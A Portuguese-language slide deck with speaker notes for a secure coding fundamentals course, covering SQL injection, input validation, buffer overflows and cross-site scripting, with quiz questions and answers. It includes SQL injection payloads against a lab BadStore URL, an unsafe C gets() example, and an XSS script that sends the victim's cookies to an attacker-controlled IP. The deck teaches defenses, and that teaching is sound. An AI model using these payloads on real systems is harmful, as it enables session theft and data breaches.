O documento apresenta um curso sobre Codificação Segura - Fundamentos. O objetivo do curso é capacitar os participantes em habilidades e conhecimentos de Programação Segura. O curso aborda tópicos como ataques de injeção, validação de entrada do usuário e prevenção de estouros de buffer e cross-site scripting.
2. O objetivo deste curso é capacitar os treinandos em Codificação
Segura – Fundamentos, com habilidades e conhecimento em
Secure Programming - Foundation.
Objetivo do Curso
“A revolução começa com a informação e termina
com o resultado."
(Bernardo Morais)
Público-Alvo
Todos que desejam ter conhecimento em Fundamentos de Programação
Segura
Todos que tenham interesse no desenvolvimento de softwares seguros e
auditores que irão trabalhar com o Framework Secure Software.
3. Alcyon Junior
Gestor de Segurança da
Informação no
SEBRAE
Três graduações
Redes de
Computadores
Pós em Redes pela
Cisco | MBA em
Governança de TI |
Pós em
CyberSecurity
Mestrado em
Segurança
Cibernética
Autor de livros
sobre Segurança
Cibernética
EHF | ISO27002
| ITILF | CNAP |
CEH | MVM |
LPIC-1
Instrutor
credenciado
pela EXIN e
Líder da OWASP
BSB
#WHOAMI
6. DISCLAIMER
The information contained in this document may be privileged
and confidential and protected from disclosure. If the reader of
this document is not the intended recipient, or an employee
agent responsible for delivering this document to the
intended recipient, you are hereby notified that any
dissemination, distribution or copying of this communication is
strictly prohibited.
8. Objetivos
• Reconhecer os problemas de ataques de injeção.
• Explicar a diferença entre consultas diretas e parametrizadas.
• Aplicar soluções para ataques de injeção SQL.
• Explicar a diferença entre filtros de lista branca (whitelist) e lista negra (blacklist).
• Aplicar validação de entrada.
• Reconhecer quando aplicar normalização de entrada e codificação.
• Identificar onde ocorrem estouros de buffer e como eles impactam a segurança.
• Reconhecer a diferença entre ataques XSS refletidos e armazenados e as
mitigações.
• Aplicar soluções para ataques XSS.
9. Ataques de injeção – injeção de SQL
SELECT * FROM Users WHERE Username='$username' AND
Password='$password'
1' or '1' = '1
1' or '1' = ‘1
Resultado da Query:
SELECT * FROM Users WHERE Username='1' OR '1' =
'1' AND Password='1' OR '1' = '1'
11. Ataques de injeção – injeção de SQL
http://192.168.15.51/cgi-
bin/badstore.cgi?searchquery=1%27%3D%270%27+UNION+
SELECT+1%2C+1%2C+1%2C+1+from+userdb+%23+&action=se
arch&x=0&y=0
1'='0' UNION SELECT 1, 1, 1, 1 from userdb #
12. • Não use SQL dinâmico quando puder ser evitado: use instruções preparadas, consultas
parametrizadas ou procedimentos armazenados, sempre que possível.
• Atualização e correção: vulnerabilidades em aplicativos e bancos de dados que hackers
podem explorar usando SQL injection são regularmente descobertas, por isso é vital aplicar
patches e atualizações assim que possível.
• Reduza sua superfície de ataque: Livre-se de qualquer funcionalidade de banco de dados
que você não precise impedir que um hacker tire vantagem disso. Por exemplo, o
procedimento armazenado estendido xp_cmdshell no MS SQL gera um shell de comando do
Windows e passa uma cadeia para execução, o que pode ser muito útil para um hacker. O
processo do Windows gerado por xp_cmdshell tem os mesmos privilégios de segurança que
a conta de serviço do SQL Server.
• Use os privilégios apropriados: não se conecte ao seu banco de dados usando uma conta
com privilégios de nível de administrador, a menos que haja algum motivo convincente para
fazê-lo. Usar uma conta de acesso limitado é muito mais seguro e pode limitar o que um
hacker é capaz de fazer.
4 dicas para mitigar os Ataques de SQLi
14. Estouros de buffer ou
Transbordamento de Buffer
#include <stdio.h>
#include <stdlib.h>
#define BUFLEN 80
void doit(int offset)
{
char buffer[BUFLEN];
gets(&buffer[offset]);
/* do more */
}
int main(void)
{
doit(0);
return 0;
}
15. O Cross-Site-Scripting ou
Script Cruzado entre Sites (XSS)
Hacker Vítima Seu site
Browser/app
/WWW
Infecta com script
Explora
Visita
Injeta script
Explora
16. Ataques de injeção – injeção de SQL
<script>alert("HaCkEd by AlcyJones")</script>
<script>new Image()
.src="http://192.168.1.10/alcyonjones.php?output="
+document.cookie;</script>
18. Exercícios – Soluções para SQL Injection
Qual destas alternativas não é uma solução possível para evitar
ataques de SQL Injection?
A. Realizar consultas parametrizadas;
B. Utilizar a técnica de saída para neutralizar meta-
caracteres;
C. Realizar a validação de entrada;
D. Realizar um CSRF;
19. Exercício - Validação de Entrada
Quais destes não é um método aplicável à validação de entrada?
A. Lista Branca e Lista Preta
B. Higienização
C. Buffer Overflow ou Transbordamento de Buffer.
D. Usar expressões regulares
20. Exercício
O cross-site scripting ou XSS ou script cruzado entre sites é um ataque
onde um invasor pode executar um JavaScript na saída. Qual destes não
é um tipo de XSS?
A. XSS de Transbordamento de Pilha;
B. XSS Refletido;
C. XSS Armazenado;
D. XSS baseado em DOM;
Notas do Editor
Page 1
Page 2
Objetivos
Reconhecer os problemas de ataques de injeção.
Explicar a diferença entre consultas diretas e parametrizadas.
Aplicar soluções para ataques de injeção SQL.
Explicar a diferença entre filtros de lista branca (whitelist) e lista negra (blacklist).
Aplicar validação de entrada.
Reconhecer quando aplicar normalização de entrada e codificação.
Identificar onde ocorrem estouros de buffer e como eles impactam a segurança.
Reconhecer a diferença entre ataques XSS refletidos e armazenados e as mitigações.
Aplicar soluções para ataques XSS.
Especificações
3.1.1 Reconhecer os problemas do ataque de injeção.
3.1.2 Explicar a diferença entre querie direta e parametrizada.
Discutir os ataques de injeção. Dar atenção especial ao ataque de SQL injection. Ver a sessão 3.1 do Workbook.
Exemplos de senhas que vazaram por SQL injection:
"Breach clean-up cost LinkedIn nearly $1 million, another $2-3 million in upgrades"
(http://www.zdnet.com/article/breach-clean-up-cost-linkedin-nearly-1-million-another-2-3-million-in-upgrades/)
"LinkedIn slapped with $5 million class action suit over leaked passwords"
(https://nakedsecurity.sophos.com/2012/06/21/linkedin-slapped-with-5-million-class-action-suit-over-leaked-passwords/)
More examples on http://codecurmudgeon.com/wp/sql-injection-hall-of-shame/
Especificações
3.1.1 Reconhecer os problemas do ataque de injeção.
3.1.2 Explicar a diferença entre querie direta e parametrizada.
Discutir os ataques de injeção. Dar atenção especial ao ataque de SQL injection. Ver a sessão 3.1 do Workbook.
Exemplos de senhas que vazaram por SQL injection:
"Breach clean-up cost LinkedIn nearly $1 million, another $2-3 million in upgrades"
(http://www.zdnet.com/article/breach-clean-up-cost-linkedin-nearly-1-million-another-2-3-million-in-upgrades/)
"LinkedIn slapped with $5 million class action suit over leaked passwords"
(https://nakedsecurity.sophos.com/2012/06/21/linkedin-slapped-with-5-million-class-action-suit-over-leaked-passwords/)
More examples on http://codecurmudgeon.com/wp/sql-injection-hall-of-shame/
Especificações
3.1.1 Reconhecer os problemas do ataque de injeção.
3.1.2 Explicar a diferença entre querie direta e parametrizada.
Discutir os ataques de injeção. Dar atenção especial ao ataque de SQL injection. Ver a sessão 3.1 do Workbook.
Exemplos de senhas que vazaram por SQL injection:
"Breach clean-up cost LinkedIn nearly $1 million, another $2-3 million in upgrades"
(http://www.zdnet.com/article/breach-clean-up-cost-linkedin-nearly-1-million-another-2-3-million-in-upgrades/)
"LinkedIn slapped with $5 million class action suit over leaked passwords"
(https://nakedsecurity.sophos.com/2012/06/21/linkedin-slapped-with-5-million-class-action-suit-over-leaked-passwords/)
More examples on http://codecurmudgeon.com/wp/sql-injection-hall-of-shame/
Especificações:
3.2.1 Explicar a diferença entre lista branca e lista negra. lain the difference between whitelist and blacklist filters.
3.2.3 Reconhecer quando aplicar a normalização de entrada e codificação.
Discutir a diferença entre lista preta e lista branca. Ver a sessão 3.2 do Workbook.
Lista Preta: proibir tudo que está na lista negra
Lista Branca: permitir tudo que está na lista branca. Mais eficiente que a lista preta.
Especificação
3.3.1 Identificar onde o buffer overflow ocorre e como ele impacta na segurança.
Discutir como o buffer overflow funciona (ver a figura 3.1 do Workbook).
Às vezes não é o conteúdo, mas sim o tamanho dos dados que são enviados.
Quando eles são escritos fora do intervalo de memória por um invasor, ele pode manipular o estado interno do programa.
A pilha cresce de um endereço de memória alto para um endereço baixo, ou seja, é uma pilha que cresce pra baixo. StackOverflow.
Especificação
3.4.1 Reconhecer a diferença entre ataques XSS refletidos, armazenados e suas mitigações.
3.4.2 Aplicar soluções para o ataque XSS.
Num ataque XSS típico, o hacker infecta um normal e não-malicioso site com um script malicioso (client-side).
Quando o usuário visita a página, é feito o download do script no browser e o script é executado, o que geralmente resulta em algo ruim ou indesejado. O maior risco é que alguém pode fingir ser a vítima e fazer qualquer coisa que a vítima poderia fazer dentro de um aplicativo . No caso de um navegador , que poderia ser muito ...
Veja a sessão 3.7 do Workbook.
A saída de um aplicativo pode ser a entrada para ele próprio.
O cross-site scripting ou XSS ou script cruzado entre sites é um ataque onde um invasor pode executar um JavaScript na saída.
XSS refletido baseia-se na vontade da vítima em cooperar, convence alguém a fazer uma solicitação, ou clicar em um link, ou enviar um formulário que contém parâmetros de entrada maliciosa, que são processados pelo navegador da vítima.
XSS armazenado é quando um invasor pode armazenar ou inserir dados maliciosos no lado servidor, que será processado pouco depois quando a vítima utilizá-lo.
XSS baseado em DOM não envolve um servidor, mas utiliza do fato que o JavaScript na propria pagina processa partes do URL da página.
As regras do HTML são diferentes do XHTML
Minimizar o impacto do XSS:
Usar o cookie atributo HttpOnly
Impedir que os arquivos carregados sejam exibidos na mesma página web que o aplicativo, os documentos carregados podem conter códigos maliciosos
Solicitar para abrir o documento ou visualizá-lo em outra URL
Lembre que o XSS ocorre entre sites, e não na saída do Browser.
Especificações
3.1.1 Reconhecer os problemas do ataque de injeção.
3.1.2 Explicar a diferença entre querie direta e parametrizada.
Discutir os ataques de injeção. Dar atenção especial ao ataque de SQL injection. Ver a sessão 3.1 do Workbook.
Exemplos de senhas que vazaram por SQL injection:
"Breach clean-up cost LinkedIn nearly $1 million, another $2-3 million in upgrades"
(http://www.zdnet.com/article/breach-clean-up-cost-linkedin-nearly-1-million-another-2-3-million-in-upgrades/)
"LinkedIn slapped with $5 million class action suit over leaked passwords"
(https://nakedsecurity.sophos.com/2012/06/21/linkedin-slapped-with-5-million-class-action-suit-over-leaked-passwords/)
More examples on http://codecurmudgeon.com/wp/sql-injection-hall-of-shame/
Revisar conceitos e termos.
Especificação
3.1.3 Aplicar soluções para ataques de SQL Injection.
Completar o treinamento com um exercício que permita que os alunos possam mostrar como aplicar soluções aos ataques de SQL injection.
Resposta - D
Especificação
3.2.2 Aplicar a validação de entrada.
Complete o treinamento com um exercício que permita aos alunos mostrar que eles podem aplicar soluções para validar corretamente a entrada.
Resposta - C
Especificação
3.4.2 Aplicar soluções aos ataques XSS.
Complete o treinamento com a tarefa que permita aos candidatos mostrarem como eles podem aplicar soluções para os ataques XSS.
Resposta - A